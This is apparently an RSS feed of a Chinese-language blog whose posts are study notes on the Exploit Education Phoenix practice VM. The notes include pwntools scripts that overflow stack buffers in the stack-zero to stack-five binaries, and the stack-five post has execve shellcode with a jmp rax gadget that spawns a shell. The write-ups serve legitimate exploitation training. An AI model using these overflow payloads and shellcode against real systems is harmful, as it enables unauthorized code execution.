<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>BuringStraw</title>
        <link>https://paragraph.com/@buringstraw</link>
        <description>undefined</description>
        <lastBuildDate>Wed, 20 May 2026 06:37:55 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[[pwn笔记2]stack-three, stack-four, stack-five(Phoenix)]]></title>
            <link>https://paragraph.com/@buringstraw/pwn-2-stack-three-stack-four-stack-five-phoenix</link>
            <guid>95jDbfxXnKhRBzhAsIQX</guid>
            <pubDate>Fri, 24 Mar 2023 07:14:37 GMT</pubDate>
            <description><![CDATA[最近又是数模又是开学的，很难受，还是看看远方的水入门题吧。没有动态基址，还是比较简单的。 （写这段的时候还没想到接下来还有概率论考试，还打了场ctf校赛，所以。。。）stack-three覆盖一个即将被调用的函数指针的数据，跟前面差不多。from pwn import * shell = ssh("user", "localhost", password="user", port=2222) s = b"a" * 0x40 + p64(0x40069d) sh = shell.run(b"/opt/phoenix/amd64/stack-three") sh.recvlines(1) sh.sendline(s) print(sh.recvlines(2)) stack-four覆盖栈上的返回地址。notion image0x648-0x5f0=88from pwn import * shell = ssh("user", "localhost", password="user", port=2222) s = b"a" * 88 + p64(0x40061d) sh = she...]]></description>
            <content:encoded><![CDATA[<p>最近又是数模又是开学的，很难受，还是看看远方的<s>水</s>入门题吧。没有动态基址，还是比较简单的。</p><p>（写这段的时候还没想到接下来还有概率论考试，还打了场ctf校赛，所以。。。）</p><h3 id="h-stack-three" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>stack-three</strong></h3><p>覆盖一个即将被调用的函数指针的数据，跟前面差不多。</p><pre data-type="codeBlock" text="from pwn import *
shell = ssh(&quot;user&quot;, &quot;localhost&quot;, password=&quot;user&quot;, port=2222)

s = b&quot;a&quot; * 0x40 + p64(0x40069d)
sh = shell.run(b&quot;/opt/phoenix/amd64/stack-three&quot;)
sh.recvlines(1)
sh.sendline(s)
print(sh.recvlines(2))
"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> <span class="hljs-operator">*</span>
<span class="hljs-title">shell</span> <span class="hljs-operator">=</span> <span class="hljs-title">ssh</span>(<span class="hljs-string">"user"</span>, <span class="hljs-string">"localhost"</span>, <span class="hljs-title">password</span><span class="hljs-operator">=</span><span class="hljs-string">"user"</span>, <span class="hljs-title">port</span><span class="hljs-operator">=</span>2222)

<span class="hljs-title">s</span> <span class="hljs-operator">=</span> <span class="hljs-title">b</span><span class="hljs-string">"a"</span> <span class="hljs-operator">*</span> 0<span class="hljs-title">x40</span> <span class="hljs-operator">+</span> <span class="hljs-title">p64</span>(0<span class="hljs-title">x40069d</span>)
<span class="hljs-title">sh</span> <span class="hljs-operator">=</span> <span class="hljs-title">shell</span>.<span class="hljs-title">run</span>(<span class="hljs-title">b</span><span class="hljs-string">"/opt/phoenix/amd64/stack-three"</span>)
<span class="hljs-title">sh</span>.<span class="hljs-title">recvlines</span>(1)
<span class="hljs-title">sh</span>.<span class="hljs-title">sendline</span>(<span class="hljs-title">s</span>)
<span class="hljs-title">print</span>(<span class="hljs-title">sh</span>.<span class="hljs-title">recvlines</span>(2))
</code></pre><h3 id="h-stack-four" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>stack-four</strong></h3><p>覆盖栈上的返回地址。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">notion image</figcaption></figure><p><code>0x648-0x5f0=88</code></p><pre data-type="codeBlock" text="from pwn import *
shell = ssh(&quot;user&quot;, &quot;localhost&quot;, password=&quot;user&quot;, port=2222)

s = b&quot;a&quot; * 88 + p64(0x40061d)
sh = shell.run(b&quot;/opt/phoenix/amd64/stack-four&quot;)
sh.recvlines(1)
sh.sendline(s)
print(sh.recvlines(2))
"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> <span class="hljs-operator">*</span>
<span class="hljs-title">shell</span> <span class="hljs-operator">=</span> <span class="hljs-title">ssh</span>(<span class="hljs-string">"user"</span>, <span class="hljs-string">"localhost"</span>, <span class="hljs-title">password</span><span class="hljs-operator">=</span><span class="hljs-string">"user"</span>, <span class="hljs-title">port</span><span class="hljs-operator">=</span>2222)

<span class="hljs-title">s</span> <span class="hljs-operator">=</span> <span class="hljs-title">b</span><span class="hljs-string">"a"</span> <span class="hljs-operator">*</span> 88 <span class="hljs-operator">+</span> <span class="hljs-title">p64</span>(0<span class="hljs-title">x40061d</span>)
<span class="hljs-title">sh</span> <span class="hljs-operator">=</span> <span class="hljs-title">shell</span>.<span class="hljs-title">run</span>(<span class="hljs-title">b</span><span class="hljs-string">"/opt/phoenix/amd64/stack-four"</span>)
<span class="hljs-title">sh</span>.<span class="hljs-title">recvlines</span>(1)
<span class="hljs-title">sh</span>.<span class="hljs-title">sendline</span>(<span class="hljs-title">s</span>)
<span class="hljs-title">print</span>(<span class="hljs-title">sh</span>.<span class="hljs-title">recvlines</span>(2))
</code></pre><h3 id="h-stack-five" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>stack-five</strong></h3><p>需要拿到shell。由于栈是可执行的，可以利用gets来把shellcode读进来，覆盖返回地址来执行shellcode。</p><p>这个过程看起来非常完美，可是不知道为什么返回到栈上执行两步就会段错误。关掉了aslr，尝试了附加调试和取消gdb环境变量，以消除栈地址的变化，都没有进展。</p><p>后来看到了另一个方法：</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/465eb77f3e98e1179daba07b95c834ea0e20152f0014b2f2deef7cd248dd7887.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>调用gets之前，s被放入了rax中。所以直接把shellcode放到最前面就会被rax指向。</p><p>我们可以用rop，找到一段<code>jmp rax</code>，返回到那里，然后下一步就会跳到shellcode了。</p><pre data-type="codeBlock" text="from pwn import *
shell = ssh(&quot;user&quot;, &quot;localhost&quot;, password=&quot;user&quot;, port=2222)

total = 136
sc = b&quot;\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05&quot;
jmp_rax = p64(0x400481)
s = sc+b&quot;a&quot;*(total-len(sc))+jmp_rax

sh = shell.run(b&quot;/opt/phoenix/amd64/stack-five&quot;)
sh.recvlines(1)
sh.sendline(s)
sh.interactive()
"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> <span class="hljs-operator">*</span>
<span class="hljs-title">shell</span> <span class="hljs-operator">=</span> <span class="hljs-title">ssh</span>(<span class="hljs-string">"user"</span>, <span class="hljs-string">"localhost"</span>, <span class="hljs-title">password</span><span class="hljs-operator">=</span><span class="hljs-string">"user"</span>, <span class="hljs-title">port</span><span class="hljs-operator">=</span>2222)

<span class="hljs-title">total</span> <span class="hljs-operator">=</span> 136
<span class="hljs-title">sc</span> <span class="hljs-operator">=</span> <span class="hljs-title">b</span><span class="hljs-string">"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"</span>
<span class="hljs-title">jmp_rax</span> <span class="hljs-operator">=</span> <span class="hljs-title">p64</span>(0<span class="hljs-title">x400481</span>)
<span class="hljs-title">s</span> <span class="hljs-operator">=</span> <span class="hljs-title">sc</span><span class="hljs-operator">+</span><span class="hljs-title">b</span><span class="hljs-string">"a"</span><span class="hljs-operator">*</span>(<span class="hljs-title">total</span><span class="hljs-operator">-</span><span class="hljs-title">len</span>(<span class="hljs-title">sc</span>))<span class="hljs-operator">+</span><span class="hljs-title">jmp_rax</span>

<span class="hljs-title">sh</span> <span class="hljs-operator">=</span> <span class="hljs-title">shell</span>.<span class="hljs-title">run</span>(<span class="hljs-title">b</span><span class="hljs-string">"/opt/phoenix/amd64/stack-five"</span>)
<span class="hljs-title">sh</span>.<span class="hljs-title">recvlines</span>(1)
<span class="hljs-title">sh</span>.<span class="hljs-title">sendline</span>(<span class="hljs-title">s</span>)
<span class="hljs-title">sh</span>.<span class="hljs-title">interactive</span>()
</code></pre><p>还有一件事，gef可以用以下命令调整context里stack显示的行数</p><pre data-type="codeBlock" text="gef config context.nb_lines_stack 20
"><code>gef config context.nb_lines_stack <span class="hljs-number">20</span>
</code></pre><p>这样就不用在虚拟机里再装个peda了（这两个共存很卡）。</p>]]></content:encoded>
            <author>buringstraw@newsletter.paragraph.com (BuringStraw)</author>
        </item>
        <item>
            <title><![CDATA[[pwn笔记1]stack-one和stack-two (Phoenix)]]></title>
            <link>https://paragraph.com/@buringstraw/pwn-1-stack-one-stack-two-phoenix</link>
            <guid>LffhBEeTmeFER2AC5GXk</guid>
            <pubDate>Fri, 24 Mar 2023 07:11:00 GMT</pubDate>
            <description><![CDATA[这两道非常简单，而且只有数据读入方式的区别。跟zero一样，只是对覆盖的数据有要求。Unsupported embedstack-one将程序第一个参数strcpy到字符串。notion image在gdb中run后面直接接参数即可带上参数。 pwntools的sh.run可以接收字节数组作为参数，里面可包含启动参数。（看了下文档，对于run方法：Backward compatibility. Use system() ）from pwn import * shell = ssh("user", "localhost", password="user", port=2222) s = b"a" * 0x40 + p32(0x496c5962) sh = shell.run(b"/opt/phoenix/amd64/stack-one " + s) print(sh.recvlines(2)) Unsupported embedstack-two这次是写到环境变量里。notion image做到这里发现环境变量里写"\0"进去会出问题，我们要求写入的是32位数据，不应该用p64，用...]]></description>
            <content:encoded><![CDATA[<p>这两道非常简单，而且只有数据读入方式的区别。跟zero一样，只是对覆盖的数据有要求。</p><h3 id="h-unsupported-embedstack-one" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Unsupported embedstack-one</h3><p>将程序第一个参数<code>strcpy</code>到字符串。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">notion image</figcaption></figure><p>在gdb中run后面直接接参数即可带上参数。</p><p>pwntools的sh.run可以接收字节数组作为参数，里面可包含启动参数。（看了下文档，对于run方法：Backward compatibility. Use <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.pwntools.com/en/stable/tubes/ssh.html?highlight=ssh#pwnlib.tubes.ssh.ssh.system">system()</a> ）</p><pre data-type="codeBlock" text="from pwn import *
shell = ssh(&quot;user&quot;, &quot;localhost&quot;, password=&quot;user&quot;, port=2222)

s = b&quot;a&quot; * 0x40 + p32(0x496c5962)

sh = shell.run(b&quot;/opt/phoenix/amd64/stack-one &quot; + s)
print(sh.recvlines(2))
"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> <span class="hljs-operator">*</span>
<span class="hljs-title">shell</span> <span class="hljs-operator">=</span> <span class="hljs-title">ssh</span>(<span class="hljs-string">"user"</span>, <span class="hljs-string">"localhost"</span>, <span class="hljs-title">password</span><span class="hljs-operator">=</span><span class="hljs-string">"user"</span>, <span class="hljs-title">port</span><span class="hljs-operator">=</span>2222)

<span class="hljs-title">s</span> <span class="hljs-operator">=</span> <span class="hljs-title">b</span><span class="hljs-string">"a"</span> <span class="hljs-operator">*</span> 0<span class="hljs-title">x40</span> <span class="hljs-operator">+</span> <span class="hljs-title">p32</span>(0<span class="hljs-title">x496c5962</span>)

<span class="hljs-title">sh</span> <span class="hljs-operator">=</span> <span class="hljs-title">shell</span>.<span class="hljs-title">run</span>(<span class="hljs-title">b</span><span class="hljs-string">"/opt/phoenix/amd64/stack-one "</span> <span class="hljs-operator">+</span> <span class="hljs-title">s</span>)
<span class="hljs-title">print</span>(<span class="hljs-title">sh</span>.<span class="hljs-title">recvlines</span>(2))
</code></pre><h3 id="h-unsupported-embedstack-two" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Unsupported embedstack-two</h3><p>这次是写到环境变量里。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">notion image</figcaption></figure><p>做到这里发现环境变量里写&quot;\0&quot;进去会出问题，我们要求写入的是32位数据，不应该用p64，用了就会自动补0，然后报错。</p><pre data-type="codeBlock" text="from pwn import *
shell = ssh(&quot;user&quot;, &quot;localhost&quot;, password=&quot;user&quot;, port=2222)

s = b&quot;a&quot; * 0x40 + p32(0x0d0a090a)
print(s)
s = s.decode()
print(s)
sh = shell.run(b&quot;/opt/phoenix/amd64/stack-two&quot;, env={&quot;ExploitEducation&quot;: s})
print(sh.recvlines(2))
"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> <span class="hljs-operator">*</span>
<span class="hljs-title">shell</span> <span class="hljs-operator">=</span> <span class="hljs-title">ssh</span>(<span class="hljs-string">"user"</span>, <span class="hljs-string">"localhost"</span>, <span class="hljs-title">password</span><span class="hljs-operator">=</span><span class="hljs-string">"user"</span>, <span class="hljs-title">port</span><span class="hljs-operator">=</span>2222)

<span class="hljs-title">s</span> <span class="hljs-operator">=</span> <span class="hljs-title">b</span><span class="hljs-string">"a"</span> <span class="hljs-operator">*</span> 0<span class="hljs-title">x40</span> <span class="hljs-operator">+</span> <span class="hljs-title">p32</span>(0<span class="hljs-title">x0d0a090a</span>)
<span class="hljs-title">print</span>(<span class="hljs-title">s</span>)
<span class="hljs-title">s</span> <span class="hljs-operator">=</span> <span class="hljs-title">s</span>.<span class="hljs-title">decode</span>()
<span class="hljs-title">print</span>(<span class="hljs-title">s</span>)
<span class="hljs-title">sh</span> <span class="hljs-operator">=</span> <span class="hljs-title">shell</span>.<span class="hljs-title">run</span>(<span class="hljs-title">b</span><span class="hljs-string">"/opt/phoenix/amd64/stack-two"</span>, <span class="hljs-title">env</span><span class="hljs-operator">=</span>{<span class="hljs-string">"ExploitEducation"</span>: <span class="hljs-title">s</span>})
<span class="hljs-title">print</span>(<span class="hljs-title">sh</span>.<span class="hljs-title">recvlines</span>(2))
</code></pre>]]></content:encoded>
            <author>buringstraw@newsletter.paragraph.com (BuringStraw)</author>
        </item>
        <item>
            <title><![CDATA[[pwn笔记0]Phoenix环境搭建和stack-zero]]></title>
            <link>https://paragraph.com/@buringstraw/pwn-0-phoenix-stack-zero</link>
            <guid>Rq9cyLGnIQMqMrovEdW1</guid>
            <pubDate>Fri, 24 Mar 2023 07:08:52 GMT</pubDate>
            <description><![CDATA[找到一个学习pwn的项目http://exploit.education ，决定让我临时抱佛脚学的pwn走向正轨，试试开个笔记系列（每次pwntools脚本都忘记怎么写），希望不要半路弃坑。定个小目标，至少把Phoenix系列做完吧。环境配置首先在more-downloads里下载phoenix的虚拟机系统镜像，根据你的架构选择。这就是靶机。在启动之前，我们需要安装qemu-system-x86 （64位的也在同一个包里（archlinux）） 运行boot-balabala.sh启动虚拟机，默认在2222端口开启ssh。用户名和密码都是user。 如果你想使用netcat来转发里面的程序，只需在启动脚本里添加另一个端口转发，这里放网络那一整行为例。-netdev user,id=unet,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:3333-:3333 然后在虚拟机里执行mkfifo io 并创建一个脚本文件（start.sh）#!/bin/bash cat io|$1 -i 2>&#x26;1|nc -l 3333...]]></description>
            <content:encoded><![CDATA[<p>找到一个学习pwn的项目<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://exploit.education/">http://exploit.education</a> ，决定让我临时抱佛脚学的pwn走向正轨，试试开个笔记系列（每次pwntools脚本都忘记怎么写），希望不要半路弃坑。定个小目标，至少把Phoenix系列做完吧。</p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">环境配置</h3><p>首先在more-downloads里下载phoenix的虚拟机系统镜像，根据你的架构选择。这就是靶机。在启动之前，我们需要安装<code>qemu-system-x86</code> （64位的也在同一个包里（archlinux））</p><p>运行<code>boot-balabala.sh</code>启动虚拟机，默认在2222端口开启ssh。用户名和密码都是user。</p><p>如果你想使用netcat来转发里面的程序，只需在启动脚本里添加另一个端口转发，这里放网络那一整行为例。</p><pre data-type="codeBlock" text="-netdev user,id=unet,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:3333-:3333
"><code><span class="hljs-operator">-</span>netdev user,id<span class="hljs-operator">=</span>unet,hostfwd<span class="hljs-operator">=</span>tcp:<span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>:<span class="hljs-number">2222</span><span class="hljs-operator">-</span>:<span class="hljs-number">22</span>,hostfwd<span class="hljs-operator">=</span>tcp:<span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>:<span class="hljs-number">3333</span><span class="hljs-operator">-</span>:<span class="hljs-number">3333</span>
</code></pre><p>然后在虚拟机里执行</p><pre data-type="codeBlock" text="mkfifo io
"><code><span class="hljs-built_in">mkfifo</span> io
</code></pre><p>并创建一个脚本文件（start.sh）</p><pre data-type="codeBlock" text="#!/bin/bash
cat io|$1 -i 2&gt;&amp;1|nc -l 3333 &gt; io
"><code><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-built_in">cat</span> io|<span class="hljs-variable">$1</span> -i 2>&#x26;1|nc -l 3333 > io
</code></pre><p>然后你就可以通过<code>sh start.sh /opt/phoenix/amd64/stack-zero</code> 这样的方式来开netcat了，端口3333记得要和启动脚本里的匹配。</p><p>虚拟机里的gdb默认装了gef但是我不太会用，所以scp了一份peda进去。略过。</p><p>宿主机再装个非常方便的pwntools：<code>pip install pwntools</code></p><h3 id="h-stack-zero" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">stack-zero</h3><p>程序比较简单，直接用cutter了。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">notion image</figcaption></figure><p>（其实exploit.education的网页上给了源码）（开头的注释甚至是个冷笑话草草草）</p><p>我们现在要让s溢出到var_10h(changeme)，内容随便。打开gdb，计算一下距离，先随便输入点什么。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">notion image</figcaption></figure><p>字符串在<code>0x620</code>这里。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">notion image</figcaption></figure><p>判断语句，changeme在<code>rbp-0x10</code> 这里也就是<code>0x670-0x10</code></p><p>计算<code>0x660-0x620=0x40</code></p><p>那么我们只要输出<code>0x41</code>个a即可</p><p>为了练习使用pwntools，写个代码。</p><p>这里直接用ssh连了，nc都不需要。</p><pre data-type="codeBlock" text="from pwn import *

shell = ssh(&quot;user&quot;, &quot;localhost&quot;, password=&quot;user&quot;, port=2222)
sh = shell.run(&quot;/opt/phoenix/amd64/stack-zero&quot;)
print(sh.recvline())
sh.sendline(b&quot;a&quot;*0x41)
print(sh.recvline())
shell.close()
"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> <span class="hljs-operator">*</span>

<span class="hljs-title">shell</span> <span class="hljs-operator">=</span> <span class="hljs-title">ssh</span>(<span class="hljs-string">"user"</span>, <span class="hljs-string">"localhost"</span>, <span class="hljs-title">password</span><span class="hljs-operator">=</span><span class="hljs-string">"user"</span>, <span class="hljs-title">port</span><span class="hljs-operator">=</span>2222)
<span class="hljs-title">sh</span> <span class="hljs-operator">=</span> <span class="hljs-title">shell</span>.<span class="hljs-title">run</span>(<span class="hljs-string">"/opt/phoenix/amd64/stack-zero"</span>)
<span class="hljs-title">print</span>(<span class="hljs-title">sh</span>.<span class="hljs-title">recvline</span>())
<span class="hljs-title">sh</span>.<span class="hljs-title">sendline</span>(<span class="hljs-title">b</span><span class="hljs-string">"a"</span><span class="hljs-operator">*</span>0<span class="hljs-title">x41</span>)
<span class="hljs-title">print</span>(<span class="hljs-title">sh</span>.<span class="hljs-title">recvline</span>())
<span class="hljs-title">shell</span>.<span class="hljs-title">close</span>()
</code></pre><p>成功</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">notion image</figcaption></figure>]]></content:encoded>
            <author>buringstraw@newsletter.paragraph.com (BuringStraw)</author>
        </item>
        <item>
            <title><![CDATA[hello]]></title>
            <link>https://paragraph.com/@buringstraw/hello</link>
            <guid>CsO4lad5YKf1j6kda6GX</guid>
            <pubDate>Tue, 21 Mar 2023 01:48:11 GMT</pubDate>
            <description><![CDATA[world]]></description>
            <content:encoded><![CDATA[<p>world</p>]]></content:encoded>
            <author>buringstraw@newsletter.paragraph.com (BuringStraw)</author>
        </item>
    </channel>
</rss>